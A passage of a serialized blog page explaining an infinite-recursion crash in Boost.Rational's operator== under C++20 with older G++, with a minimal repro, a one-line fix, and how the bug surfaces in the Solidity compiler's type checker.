\n}\n",[75346],{"type":26,"tag":83,"props":75347,"children":75348},{"__ignoreMap":8},[75349,75384,75407,75419,75426,75434,75441,75448,75455,75478,75566,75573,75624,75631,75638,75645,75652,75687,75695,75723,75762,75827,75834,75855],{"type":26,"tag":217,"props":75350,"children":75351},{"class":7028,"line":7029},[75352,75356,75360,75364,75368,75372,75376,75380],{"type":26,"tag":217,"props":75353,"children":75354},{"style":7154},[75355],{"type":32,"value":74658},{"type":26,"tag":217,"props":75357,"children":75358},{"style":7048},[75359],{"type":32,"value":13147},{"type":26,"tag":217,"props":75361,"children":75362},{"style":7154},[75363],{"type":32,"value":74684},{"type":26,"tag":217,"props":75365,"children":75366},{"style":7119},[75367],{"type":32,"value":74856},{"type":26,"tag":217,"props":75369,"children":75370},{"style":7048},[75371],{"type":32,"value":7599},{"type":26,"tag":217,"props":75373,"children":75374},{"style":7154},[75375],{"type":32,"value":74684},{"type":26,"tag":217,"props":75377,"children":75378},{"style":7119},[75379],{"type":32,"value":74672},{"type":26,"tag":217,"props":75381,"children":75382},{"style":7048},[75383],{"type":32,"value":7281},{"type":26,"tag":217,"props":75385,"children":75386},{"class":7028,"line":6770},[75387,75391,75395,75399,75403],{"type":26,"tag":217,"props":75388,"children":75389},{"style":7154},[75390],{"type":32,"value":74658},{"type":26,"tag":217,"props":75392,"children":75393},{"style":7048},[75394],{"type":32,"value":13147},{"type":26,"tag":217,"props":75396,"children":75397},{"style":7154},[75398],{"type":32,"value":74667},{"type":26,"tag":217,"props":75400,"children":75401},{"style":7119},[75402],{"type":32,"value":74672},{"type":26,"tag":217,"props":75404,"children":75405},{"style":7048},[75406],{"type":32,"value":7281},{"type":26,"tag":217,"props":75408,"children":75409},{"class":7028,"line":6779},[75410,75414],{"type":26,"tag":217,"props":75411,"children":75412},{"style":7154},[75413],{"type":32,"value":74684},{"type":26,"tag":217,"props":75415,"children":75416},{"style":7119},[75417],{"type":32,"value":75418}," rational\n",{"type":26,"tag":217,"props":75420,"children":75421},{"class":7028,"line":7140},[75422],{"type":26,"tag":217,"props":75423,"children":75424},{"style":7048},[75425],{"type":32,"value":10033},{"type":26,"tag":217,"props":75427,"children":75428},{"class":7028,"line":7165},[75429],{"type":26,"tag":217,"props":75430,"children":75431},{"style":7048},[75432],{"type":32,"value":75433},"    ...\n",{"type":26,"tag":217,"props":75435,"children":75436},{"class":7028,"line":7178},[75437],{"type":26,"tag":217,"props":75438,"children":75439},{"style":7154},[75440],{"type":32,"value":74701},{"type":26,"tag":217,"props":75442,"children":75443},{"class":7028,"line":7389},[75444],{"type":26,"tag":217,"props":75445,"children":75446},{"style":7048},[75447],{"type":32,"value":75433},{"type":26,"tag":217,"props":75449,"children":75450},{"class":7028,"line":7406},[75451],{"type":26,"tag":217,"props":75452,"children":75453},{"style":7048},[75454],{"type":32,"value":9890},{"type":26,"tag":217,"props":75456,"children":75457},{"class":7028,"line":7439},[75458,75462,75466,75470,75474],{"type":26,"tag":217,"props":75459,"children":75460},{"style":7154},[75461],{"type":32,"value":74709},{"type":26,"tag":217,"props":75463,"children":75464},{"style":7048},[75465],{"type":32,"value":13147},{"type":26,"tag":217,"props":75467,"children":75468},{"style":7154},[75469],{"type":32,"value":74684},{"type":26,"tag":217,"props":75471,"children":75472},{"style":7119},[75473],{"type":32,"value":74722},{"type":26,"tag":217,"props":75475,"children":75476},{"style":7048},[75477],{"type":32,"value":7281},{"type":26,"tag":217,"props":75479,"children":75480},{"class":7028,"line":7487},[75481,75486,75490,75495,75499,75503,75507,75512,75516,75520,75524,75528,75532,75536,75541,75545,75549,75553,75557,75561],{"type":26,"tag":217,"props":75482,"children":75483},{"style":7048},[75484],{"type":32,"value":75485},"    BOOST_CONSTEXPR ",{"type":26,"tag":217,"props":75487,"children":75488},{"style":7154},[75489],{"type":32,"value":74667},{"type":26,"tag":217,"props":75491,"children":75492},{"style":7048},[75493],{"type":32,"value":75494}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":26,"tag":217,"props":75496,"children":75497},{"style":7119},[75498],{"type":32,"value":178},{"type":26,"tag":217,"props":75500,"children":75501},{"style":7048},[75502],{"type":32,"value":7599},{"type":26,"tag":217,"props":75504,"children":75505},{"style":7119},[75506],{"type":32,"value":74905},{"type":26,"tag":217,"props":75508,"children":75509},{"style":7048},[75510],{"type":32,"value":75511},">::",{"type":26,"tag":217,"props":75513,"children":75514},{"style":7119},[75515],{"type":32,"value":15127},{"type":26,"tag":217,"props":75517,"children":75518},{"style":7048},[75519],{"type":32,"value":7599},{"type":26,"tag":217,"props":75521,"children":75522},{"style":7154},[75523],{"type":32,"value":74880},{"type":26,"tag":217,"props":75525,"children":75526},{"style":7048},[75527],{"type":32,"value":75511},{"type":26,"tag":217,"props":75529,"children":75530},{"style":7119},[75531],{"type":32,"value":16194},{"type":26,"tag":217,"props":75533,"children":75534},{"style":7154},[75535],{"type":32,"value":74738},{"type":26,"tag":217,"props":75537,"children":75538},{"style":7048},[75539],{"type":32,"value":75540},"== (",{"type":26,"tag":217,"props":75542,"children":75543},{"style":7154},[75544],{"type":32,"value":74748},{"type":26,"tag":217,"props":75546,"children":75547},{"style":7119},[75548],{"type":32,"value":74722},{"type":26,"tag":217,"props":75550,"children":75551},{"style":7154},[75552],{"type":32,"value":9804},{"type":26,"tag":217,"props":75554,"children":75555},{"style":7054},[75556],{"type":32,"value":28971},{"type":26,"tag":217,"props":75558,"children":75559},{"style":7048},[75560],{"type":32,"value":8380},{"type":26,"tag":217,"props":75562,"children":75563},{"style":7154},[75564],{"type":32,"value":75565},"const\n",{"type":26,"tag":217,"props":75567,"children":75568},{"class":7028,"line":7524},[75569],{"type":26,"tag":217,"props":75570,"children":75571},{"style":7048},[75572],{"type":32,"value":37334},{"type":26,"tag":217,"props":75574,"children":75575},{"class":7028,"line":7553},[75576,75581,75586,75590,75594,75598,75602,75606,75610,75615,75619],{"type":26,"tag":217,"props":75577,"children":75578},{"style":7042},[75579],{"type":32,"value":75580},"       return",{"type":26,"tag":217,"props":75582,"children":75583},{"style":7048},[75584],{"type":32,"value":75585}," ((den ",{"type":26,"tag":217,"props":75587,"children":75588},{"style":7149},[75589],{"type":32,"value":9106},{"type":26,"tag":217,"props":75591,"children":75592},{"style":7064},[75593],{"type":32,"value":74672},{"type":26,"tag":217,"props":75595,"children":75596},{"style":7048},[75597],{"type":32,"value":1851},{"type":26,"tag":217,"props":75599,"children":75600},{"style":7130},[75601],{"type":32,"value":185},{"type":26,"tag":217,"props":75603,"children":75604},{"style":7048},[75605],{"type":32,"value":9156},{"type":26,"tag":217,"props":75607,"children":75608},{"style":7149},[75609],{"type":32,"value":14809},{"type":26,"tag":217,"props":75611,"children":75612},{"style":7048},[75613],{"type":32,"value":75614}," (num ",{"type":26,"tag":217,"props":75616,"children":75617},{"style":7149},[75618],{"type":32,"value":9106},{"type":26,"tag":217,"props":75620,"children":75621},{"style":7048},[75622],{"type":32,"value":75623}," i));\n",{"type":26,"tag":217,"props":75625,"children":75626},{"class":7028,"line":7570},[75627],{"type":26,"tag":217,"props":75628,"children":75629},{"style":7048},[75630],{"type":32,"value":9754},{"type":26,"tag":217,"props":75632,"children":75633},{"class":7028,"line":7621},[75634],{"type":26,"tag":217,"props":75635,"children":75636},{"style":7048},[75637],{"type":32,"value":75433},{"type":26,"tag":217,"props":75639,"children":75640},{"class":7028,"line":7672},[75641],{"type":26,"tag":217,"props":75642,"children":75643},{"style":7048},[75644],{"type":32,"value":7184},{"type":26,"tag":217,"props":75646,"children":75647},{"class":7028,"line":7681},[75648],{"type":26,"tag":217,"props":75649,"children":75650},{"emptyLinePlaceholder":17},[75651],{"type":32,"value":7817},{"type":26,"tag":217,"props":75653,"children":75654},{"class":7028,"line":7754},[75655,75659,75663,75667,75671,75675,75679,75683],{"type":26,"tag":217,"props":75656,"children":75657},{"style":7154},[75658],{"type":32,"value":74658},{"type":26,"tag":217,"props":75660,"children":75661},{"style":7048},[75662],{"type":32,"value":13147},{"type":26,"tag":217,"props":75664,"children":75665},{"style":7154},[75666],{"type":32,"value":74684},{"type":26,"tag":217,"props":75668,"children":75669},{"style":7119},[75670],{"type":32,"value":74856},{"type":26,"tag":217,"props":75672,"children":75673},{"style":7048},[75674],{"type":32,"value":7599},{"type":26,"tag":217,"props":75676,"children":75677},{"style":7154},[75678],{"type":32,"value":74684},{"type":26,"tag":217,"props":75680,"children":75681},{"style":7119},[75682],{"type":32,"value":74672},{"type":26,"tag":217,"props":75684,"children":75685},{"style":7048},[75686],{"type":32,"value":7281},{"type":26,"tag":217,"props":75688,"children":75689},{"class":7028,"line":7784},[75690],{"type":26,"tag":217,"props":75691,"children":75692},{"style":7048},[75693],{"type":32,"value":75694},"BOOST_CONSTEXPR\n",{"type":26,"tag":217,"props":75696,"children":75697},{"class":7028,"line":7802},[75698,75703,75708,75713,75718],{"type":26,"tag":217,"props":75699,"children":75700},{"style":7154},[75701],{"type":32,"value":75702},"inline",{"type":26,"tag":217,"props":75704,"children":75705},{"style":7154},[75706],{"type":32,"value":75707}," typename",{"type":26,"tag":217,"props":75709,"children":75710},{"style":7048},[75711],{"type":32,"value":75712}," boost::",{"type":26,"tag":217,"props":75714,"children":75715},{"style":7119},[75716],{"type":32,"value":75717},"enable_if_c",{"type":26,"tag":217,"props":75719,"children":75720},{"style":7149},[75721],{"type":32,"value":75722}," \u003C\n",{"type":26,"tag":217,"props":75724,"children":75725},{"class":7028,"line":7811},[75726,75731,75736,75740,75744,75749,75753,75757],{"type":26,"tag":217,"props":75727,"children":75728},{"style":7048},[75729],{"type":32,"value":75730},"   rational_detail::is_compatible_integer\u003C",{"type":26,"tag":217,"props":75732,"children":75733},{"style":7119},[75734],{"type":32,"value":75735},"Arg",{"type":26,"tag":217,"props":75737,"children":75738},{"style":7048},[75739],{"type":32,"value":7599},{"type":26,"tag":217,"props":75741,"children":75742},{"style":7119},[75743],{"type":32,"value":74905},{"type":26,"tag":217,"props":75745,"children":75746},{"style":7048},[75747],{"type":32,"value":75748},">::value, ",{"type":26,"tag":217,"props":75750,"children":75751},{"style":7154},[75752],{"type":32,"value":74880},{"type":26,"tag":217,"props":75754,"children":75755},{"style":7149},[75756],{"type":32,"value":5903},{"type":26,"tag":217,"props":75758,"children":75759},{"style":7048},[75760],{"type":32,"value":75761},"::type\n",{"type":26,"tag":217,"props":75763,"children":75764},{"class":7028,"line":7820},[75765,75770,75775,75779,75783,75787,75791,75795,75799,75803,75807,75811,75815,75819,75823],{"type":26,"tag":217,"props":75766,"children":75767},{"style":7154},[75768],{"type":32,"value":75769},"   operator",{"type":26,"tag":217,"props":75771,"children":75772},{"style":7048},[75773],{"type":32,"value":75774}," == (",{"type":26,"tag":217,"props":75776,"children":75777},{"style":7154},[75778],{"type":32,"value":74748},{"type":26,"tag":217,"props":75780,"children":75781},{"style":7119},[75782],{"type":32,"value":74856},{"type":26,"tag":217,"props":75784,"children":75785},{"style":7154},[75786],{"type":32,"value":9804},{"type":26,"tag":217,"props":75788,"children":75789},{"style":7054},[75790],{"type":32,"value":24621},{"type":26,"tag":217,"props":75792,"children":75793},{"style":7048},[75794],{"type":32,"value":7599},{"type":26,"tag":217,"props":75796,"children":75797},{"style":7154},[75798],{"type":32,"value":74748},{"type":26,"tag":217,"props":75800,"children":75801},{"style":7119},[75802],{"type":32,"value":74689},{"type":26,"tag":217,"props":75804,"children":75805},{"style":7048},[75806],{"type":32,"value":7289},{"type":26,"tag":217,"props":75808,"children":75809},{"style":7119},[75810],{"type":32,"value":74905},{"type":26,"tag":217,"props":75812,"children":75813},{"style":7048},[75814],{"type":32,"value":5903},{"type":26,"tag":217,"props":75816,"children":75817},{"style":7154},[75818],{"type":32,"value":9804},{"type":26,"tag":217,"props":75820,"children":75821},{"style":7054},[75822],{"type":32,"value":24597},{"type":26,"tag":217,"props":75824,"children":75825},{"style":7048},[75826],{"type":32,"value":10025},{"type":26,"tag":217,"props":75828,"children":75829},{"class":7028,"line":7844},[75830],{"type":26,"tag":217,"props":75831,"children":75832},{"style":7048},[75833],{"type":32,"value":10033},{"type":26,"tag":217,"props":75835,"children":75836},{"class":7028,"line":7910},[75837,75841,75846,75850],{"type":26,"tag":217,"props":75838,"children":75839},{"style":7042},[75840],{"type":32,"value":38212},{"type":26,"tag":217,"props":75842,"children":75843},{"style":7048},[75844],{"type":32,"value":75845}," a ",{"type":26,"tag":217,"props":75847,"children":75848},{"style":7149},[75849],{"type":32,"value":9106},{"type":26,"tag":217,"props":75851,"children":75852},{"style":7048},[75853],{"type":32,"value":75854}," b; \n",{"type":26,"tag":217,"props":75856,"children":75857},{"class":7028,"line":7954},[75858],{"type":26,"tag":217,"props":75859,"children":75860},{"style":7048},[75861],{"type":32,"value":7184},{"type":26,"tag":39,"props":75863,"children":75864},{},[75865,75867,75873],{"type":32,"value":75866},"This was designed under C++17 semantics. Back then, ",{"type":26,"tag":83,"props":75868,"children":75870},{"className":75869},[],[75871],{"type":32,"value":75872},"rhs == lhs",{"type":32,"value":75874}," would fall back to member overloads if available. All good.",{"type":26,"tag":39,"props":75876,"children":75877},{},[75878,75880,75885,75886,75892],{"type":32,"value":75879},"But under ",{"type":26,"tag":83,"props":75881,"children":75883},{"className":75882},[],[75884],{"type":32,"value":74426},{"type":32,"value":20851},{"type":26,"tag":83,"props":75887,"children":75889},{"className":75888},[],[75890],{"type":32,"value":75891},"G++ \u003C 14",{"type":32,"value":1473},{"type":26,"tag":2040,"props":75894,"children":75895},{},[75896,75901,75906,75911],{"type":26,"tag":2044,"props":75897,"children":75898},{},[75899],{"type":32,"value":75900},"G++ incorrectly chooses this non-member operator first",{"type":26,"tag":2044,"props":75902,"children":75903},{},[75904],{"type":32,"value":75905},"C++20 reverses the comparison",{"type":26,"tag":2044,"props":75907,"children":75908},{},[75909],{"type":32,"value":75910},"Which calls the same function again with arguments flipped",{"type":26,"tag":2044,"props":75912,"children":75913},{},[75914],{"type":32,"value":75915},"And so on...",{"type":26,"tag":39,"props":75917,"children":75918},{},[75919,75921,75926],{"type":32,"value":75920},"This creates ",{"type":26,"tag":9348,"props":75922,"children":75923},{},[75924],{"type":32,"value":75925},"infinite recursion",{"type":32,"value":180},{"type":26,"tag":39,"props":75928,"children":75929},{},[75930],{"type":32,"value":75931},"A minimal example:",{"type":26,"tag":207,"props":75933,"children":75935},{"code":75934,"language":33131,"meta":8,"className":33132,"style":8},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[75936],{"type":26,"tag":83,"props":75937,"children":75938},{"__ignoreMap":8},[75939,75947,75959,75966,75981,76005,76028],{"type":26,"tag":217,"props":75940,"children":75941},{"class":7028,"line":7029},[75942],{"type":26,"tag":217,"props":75943,"children":75944},{"style":7033},[75945],{"type":32,"value":75946},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":26,"tag":217,"props":75948,"children":75949},{"class":7028,"line":6770},[75950,75954],{"type":26,"tag":217,"props":75951,"children":75952},{"style":7042},[75953],{"type":32,"value":9599},{"type":26,"tag":217,"props":75955,"children":75956},{"style":7338},[75957],{"type":32,"value":75958}," \u003Cboost/rational.hpp>\n",{"type":26,"tag":217,"props":75960,"children":75961},{"class":7028,"line":6779},[75962],{"type":26,"tag":217,"props":75963,"children":75964},{"emptyLinePlaceholder":17},[75965],{"type":32,"value":7817},{"type":26,"tag":217,"props":75967,"children":75968},{"class":7028,"line":7140},[75969,75973,75977],{"type":26,"tag":217,"props":75970,"children":75971},{"style":7154},[75972],{"type":32,"value":9619},{"type":26,"tag":217,"props":75974,"children":75975},{"style":7064},[75976],{"type":32,"value":7836},{"type":26,"tag":217,"props":75978,"children":75979},{"style":7048},[75980],{"type":32,"value":7841},{"type":26,"tag":217,"props":75982,"children":75983},{"class":7028,"line":7165},[75984,75989,75993,75997,76001],{"type":26,"tag":217,"props":75985,"children":75986},{"style":7048},[75987],{"type":32,"value":75988},"    boost::rational",{"type":26,"tag":217,"props":75990,"children":75991},{"style":7149},[75992],{"type":32,"value":7289},{"type":26,"tag":217,"props":75994,"children":75995},{"style":7154},[75996],{"type":32,"value":9619},{"type":26,"tag":217,"props":75998,"children":75999},{"style":7149},[76000],{"type":32,"value":5903},{"type":26,"tag":217,"props":76002,"children":76003},{"style":7048},[76004],{"type":32,"value":75035},{"type":26,"tag":217,"props":76006,"children":76007},{"class":7028,"line":7178},[76008,76012,76016,76020,76024],{"type":26,"tag":217,"props":76009,"children":76010},{"style":7042},[76011],{"type":32,"value":7171},{"type":26,"tag":217,"props":76013,"children":76014},{"style":7048},[76015],{"type":32,"value":75047},{"type":26,"tag":217,"props":76017,"children":76018},{"style":7149},[76019],{"type":32,"value":9106},{"type":26,"tag":217,"props":76021,"children":76022},{"style":7130},[76023],{"type":32,"value":9922},{"type":26,"tag":217,"props":76025,"children":76026},{"style":7048},[76027],{"type":32,"value":7162},{"type":26,"tag":217,"props":76029,"children":76030},{"class":7028,"line":7389},[76031],{"type":26,"tag":217,"props":76032,"children":76033},{"style":7048},[76034],{"type":32,"value":7184},{"type":26,"tag":39,"props":76036,"children":76037},{},[76038],{"type":32,"value":76039},"Expected output: nothing.",{"type":26,"tag":39,"props":76041,"children":76042},{},[76043],{"type":32,"value":76044},"Actual: segmentation fault (stack overflow).",{"type":26,"tag":39,"props":76046,"children":76047},{},[76048,76050,76057],{"type":32,"value":76049},"This exact pattern was ",{"type":26,"tag":163,"props":76051,"children":76054},{"href":76052,"rel":76053},"https://github.com/boostorg/rational/issues/43",[167],[76055],{"type":32,"value":76056},"reported and fixed in Boost rational",{"type":32,"value":76058},", but only in version 1.75+.",{"type":26,"tag":39,"props":76060,"children":76061},{},[76062],{"type":32,"value":76063},"Here’s the one-line fix:",{"type":26,"tag":207,"props":76065,"children":76069},{"code":76066,"language":76067,"meta":8,"className":76068,"style":8},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n","diff","language-diff shiki shiki-themes slack-dark",[76070],{"type":26,"tag":83,"props":76071,"children":76072},{"__ignoreMap":8},[76073,76081,76088,76096,76104,76112,76119,76127,76135],{"type":26,"tag":217,"props":76074,"children":76075},{"class":7028,"line":7029},[76076],{"type":26,"tag":217,"props":76077,"children":76078},{"style":7048},[76079],{"type":32,"value":76080},"template \u003Cclass Arg, class IntType>\n",{"type":26,"tag":217,"props":76082,"children":76083},{"class":7028,"line":6770},[76084],{"type":26,"tag":217,"props":76085,"children":76086},{"style":7048},[76087],{"type":32,"value":75694},{"type":26,"tag":217,"props":76089,"children":76090},{"class":7028,"line":6779},[76091],{"type":26,"tag":217,"props":76092,"children":76093},{"style":7048},[76094],{"type":32,"value":76095},"inline typename boost::enable_if_c \u003C\n",{"type":26,"tag":217,"props":76097,"children":76098},{"class":7028,"line":7140},[76099],{"type":26,"tag":217,"props":76100,"children":76101},{"style":7048},[76102],{"type":32,"value":76103},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":26,"tag":217,"props":76105,"children":76106},{"class":7028,"line":7165},[76107],{"type":26,"tag":217,"props":76108,"children":76109},{"style":7048},[76110],{"type":32,"value":76111},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":26,"tag":217,"props":76113,"children":76114},{"class":7028,"line":7178},[76115],{"type":26,"tag":217,"props":76116,"children":76117},{"style":7048},[76118],{"type":32,"value":10033},{"type":26,"tag":217,"props":76120,"children":76121},{"class":7028,"line":7389},[76122],{"type":26,"tag":217,"props":76123,"children":76124},{"style":7338},[76125],{"type":32,"value":76126},"-     return a == b;\n",{"type":26,"tag":217,"props":76128,"children":76129},{"class":7028,"line":7406},[76130],{"type":26,"tag":217,"props":76131,"children":76132},{"style":7130},[76133],{"type":32,"value":76134},"+     return a.operator==(b);\n",{"type":26,"tag":217,"props":76136,"children":76137},{"class":7028,"line":7439},[76138],{"type":26,"tag":217,"props":76139,"children":76140},{"style":7048},[76141],{"type":32,"value":7184},{"type":26,"tag":39,"props":76143,"children":76144},{},[76145,76147,76152,76154,76159],{"type":32,"value":76146},"Instead of calling ",{"type":26,"tag":83,"props":76148,"children":76150},{"className":76149},[],[76151],{"type":32,"value":74472},{"type":32,"value":76153}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":26,"tag":83,"props":76155,"children":76157},{"className":76156},[],[76158],{"type":32,"value":74480},{"type":32,"value":180},{"type":26,"tag":39,"props":76161,"children":76162},{},[76163],{"type":32,"value":76164},"This prevents C++20 from triggering recursive rewrites.",{"type":26,"tag":11933,"props":76166,"children":76167},{},[],{"type":26,"tag":27,"props":76169,"children":76171},{"id":76170},"part-iv-how-this-breaks-solidity",[76172],{"type":32,"value":76173},"Part IV: How This Breaks Solidity",{"type":26,"tag":39,"props":76175,"children":76176},{},[76177,76179,76184],{"type":32,"value":76178},"The Solidity codebase uses ",{"type":26,"tag":83,"props":76180,"children":76182},{"className":76181},[],[76183],{"type":32,"value":74327},{"type":32,"value":76185}," to represent certain compile-time constant expressions.",{"type":26,"tag":39,"props":76187,"children":76188},{},[76189,76191,76197],{"type":32,"value":76190},"One snippet that can trigger this issue appears in ",{"type":26,"tag":83,"props":76192,"children":76194},{"className":76193},[],[76195],{"type":32,"value":76196},"DeclarationTypeChecker::endVisit",{"type":32,"value":1473},{"type":26,"tag":207,"props":76199,"children":76201},{"code":76200,"language":33131,"meta":8,"className":33132,"style":8},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[76202],{"type":26,"tag":83,"props":76203,"children":76204},{"__ignoreMap":8},[76205,76251,76276,76283,76362,76370,76423,76452,76459,76479,76486,76526,76533],{"type":26,"tag":217,"props":76206,"children":76207},{"class":7028,"line":7029},[76208,76212,76217,76221,76225,76230,76234,76239,76243,76247],{"type":26,"tag":217,"props":76209,"children":76210},{"style":7042},[76211],{"type":32,"value":7045},{"type":26,"tag":217,"props":76213,"children":76214},{"style":7048},[76215],{"type":32,"value":76216}," (Expression ",{"type":26,"tag":217,"props":76218,"children":76219},{"style":7154},[76220],{"type":32,"value":74748},{"type":26,"tag":217,"props":76222,"children":76223},{"style":7149},[76224],{"type":32,"value":10006},{"type":26,"tag":217,"props":76226,"children":76227},{"style":7048},[76228],{"type":32,"value":76229}," length ",{"type":26,"tag":217,"props":76231,"children":76232},{"style":7149},[76233],{"type":32,"value":267},{"type":26,"tag":217,"props":76235,"children":76236},{"style":7054},[76237],{"type":32,"value":76238}," _typeName",{"type":26,"tag":217,"props":76240,"children":76241},{"style":7048},[76242],{"type":32,"value":180},{"type":26,"tag":217,"props":76244,"children":76245},{"style":7064},[76246],{"type":32,"value":33723},{"type":26,"tag":217,"props":76248,"children":76249},{"style":7048},[76250],{"type":32,"value":7072},{"type":26,"tag":217,"props":76252,"children":76253},{"class":7028,"line":6770},[76254,76259,76263,76267,76271],{"type":26,"tag":217,"props":76255,"children":76256},{"style":7048},[76257],{"type":32,"value":76258},"    std::optional",{"type":26,"tag":217,"props":76260,"children":76261},{"style":7149},[76262],{"type":32,"value":7289},{"type":26,"tag":217,"props":76264,"children":76265},{"style":7048},[76266],{"type":32,"value":75333},{"type":26,"tag":217,"props":76268,"children":76269},{"style":7149},[76270],{"type":32,"value":5903},{"type":26,"tag":217,"props":76272,"children":76273},{"style":7048},[76274],{"type":32,"value":76275}," lengthValue;\n",{"type":26,"tag":217,"props":76277,"children":76278},{"class":7028,"line":6779},[76279],{"type":26,"tag":217,"props":76280,"children":76281},{"emptyLinePlaceholder":17},[76282],{"type":32,"value":7817},{"type":26,"tag":217,"props":76284,"children":76285},{"class":7028,"line":7140},[76286,76290,76294,76298,76302,76307,76311,76315,76319,76324,76328,76332,76336,76340,76344,76349,76353,76357],{"type":26,"tag":217,"props":76287,"children":76288},{"style":7042},[76289],{"type":32,"value":9710},{"type":26,"tag":217,"props":76291,"children":76292},{"style":7048},[76293],{"type":32,"value":7051},{"type":26,"tag":217,"props":76295,"children":76296},{"style":7054},[76297],{"type":32,"value":33723},{"type":26,"tag":217,"props":76299,"children":76300},{"style":7048},[76301],{"type":32,"value":10115},{"type":26,"tag":217,"props":76303,"children":76304},{"style":7064},[76305],{"type":32,"value":76306},"annotation",{"type":26,"tag":217,"props":76308,"children":76309},{"style":7048},[76310],{"type":32,"value":8312},{"type":26,"tag":217,"props":76312,"children":76313},{"style":7054},[76314],{"type":32,"value":16194},{"type":26,"tag":217,"props":76316,"children":76317},{"style":7149},[76318],{"type":32,"value":38514},{"type":26,"tag":217,"props":76320,"children":76321},{"style":7054},[76322],{"type":32,"value":76323}," length",{"type":26,"tag":217,"props":76325,"children":76326},{"style":7048},[76327],{"type":32,"value":10115},{"type":26,"tag":217,"props":76329,"children":76330},{"style":7064},[76331],{"type":32,"value":76306},{"type":26,"tag":217,"props":76333,"children":76334},{"style":7048},[76335],{"type":32,"value":8312},{"type":26,"tag":217,"props":76337,"children":76338},{"style":7054},[76339],{"type":32,"value":16194},{"type":26,"tag":217,"props":76341,"children":76342},{"style":7048},[76343],{"type":32,"value":10115},{"type":26,"tag":217,"props":76345,"children":76346},{"style":7064},[76347],{"type":32,"value":76348},"category",{"type":26,"tag":217,"props":76350,"children":76351},{"style":7048},[76352],{"type":32,"value":61808},{"type":26,"tag":217,"props":76354,"children":76355},{"style":7149},[76356],{"type":32,"value":9106},{"type":26,"tag":217,"props":76358,"children":76359},{"style":7048},[76360],{"type":32,"value":76361}," Type::Category::RationalNumber)\n",{"type":26,"tag":217,"props":76363,"children":76364},{"class":7028,"line":7165},[76365],{"type":26,"tag":217,"props":76366,"children":76367},{"style":7048},[76368],{"type":32,"value":76369},"        ...\n",{"type":26,"tag":217,"props":76371,"children":76372},{"class":7028,"line":7178},[76373,76378,76382,76387,76391,76396,76400,76404,76408,76413,76418],{"type":26,"tag":217,"props":76374,"children":76375},{"style":7042},[76376],{"type":32,"value":76377},"    else",{"type":26,"tag":217,"props":76379,"children":76380},{"style":7042},[76381],{"type":32,"value":60711},{"type":26,"tag":217,"props":76383,"children":76384},{"style":7048},[76385],{"type":32,"value":76386}," (std::optional",{"type":26,"tag":217,"props":76388,"children":76389},{"style":7149},[76390],{"type":32,"value":7289},{"type":26,"tag":217,"props":76392,"children":76393},{"style":7048},[76394],{"type":32,"value":76395},"ConstantEvaluator::TypedRational",{"type":26,"tag":217,"props":76397,"children":76398},{"style":7149},[76399],{"type":32,"value":5903},{"type":26,"tag":217,"props":76401,"children":76402},{"style":7048},[76403],{"type":32,"value":17666},{"type":26,"tag":217,"props":76405,"children":76406},{"style":7149},[76407],{"type":32,"value":267},{"type":26,"tag":217,"props":76409,"children":76410},{"style":7048},[76411],{"type":32,"value":76412}," ConstantEvaluator::",{"type":26,"tag":217,"props":76414,"children":76415},{"style":7064},[76416],{"type":32,"value":76417},"evaluate",{"type":26,"tag":217,"props":76419,"children":76420},{"style":7048},[76421],{"type":32,"value":76422},"(...))\n",{"type":26,"tag":217,"props":76424,"children":76425},{"class":7028,"line":7389},[76426,76431,76435,76440,76444,76448],{"type":26,"tag":217,"props":76427,"children":76428},{"style":7048},[76429],{"type":32,"value":76430},"        lengthValue ",{"type":26,"tag":217,"props":76432,"children":76433},{"style":7149},[76434],{"type":32,"value":267},{"type":26,"tag":217,"props":76436,"children":76437},{"style":7054},[76438],{"type":32,"value":76439}," value",{"type":26,"tag":217,"props":76441,"children":76442},{"style":7048},[76443],{"type":32,"value":10115},{"type":26,"tag":217,"props":76445,"children":76446},{"style":7054},[76447],{"type":32,"value":15127},{"type":26,"tag":217,"props":76449,"children":76450},{"style":7048},[76451],{"type":32,"value":7162},{"type":26,"tag":217,"props":76453,"children":76454},{"class":7028,"line":7406},[76455],{"type":26,"tag":217,"props":76456,"children":76457},{"emptyLinePlaceholder":17},[76458],{"type":32,"value":7817},{"type":26,"tag":217,"props":76460,"children":76461},{"class":7028,"line":7439},[76462,76466,76470,76474],{"type":26,"tag":217,"props":76463,"children":76464},{"style":7042},[76465],{"type":32,"value":9710},{"type":26,"tag":217,"props":76467,"children":76468},{"style":7048},[76469],{"type":32,"value":7051},{"type":26,"tag":217,"props":76471,"children":76472},{"style":7149},[76473],{"type":32,"value":11704},{"type":26,"tag":217,"props":76475,"children":76476},{"style":7048},[76477],{"type":32,"value":76478},"lengthValue)\n",{"type":26,"tag":217,"props":76480,"children":76481},{"class":7028,"line":7487},[76482],{"type":26,"tag":217,"props":76483,"children":76484},{"style":7048},[76485],{"type":32,"value":76369},{"type":26,"tag":217,"props":76487,"children":76488},{"class":7028,"line":7524},[76489,76493,76497,76501,76505,76509,76513,76517,76521],{"type":26,"tag":217,"props":76490,"children":76491},{"style":7042},[76492],{"type":32,"value":76377},{"type":26,"tag":217,"props":76494,"children":76495},{"style":7042},[76496],{"type":32,"value":60711},{"type":26,"tag":217,"props":76498,"children":76499},{"style":7048},[76500],{"type":32,"value":7051},{"type":26,"tag":217,"props":76502,"children":76503},{"style":7149},[76504],{"type":32,"value":10006},{"type":26,"tag":217,"props":76506,"children":76507},{"style":7048},[76508],{"type":32,"value":74303},{"type":26,"tag":217,"props":76510,"children":76511},{"style":7149},[76512],{"type":3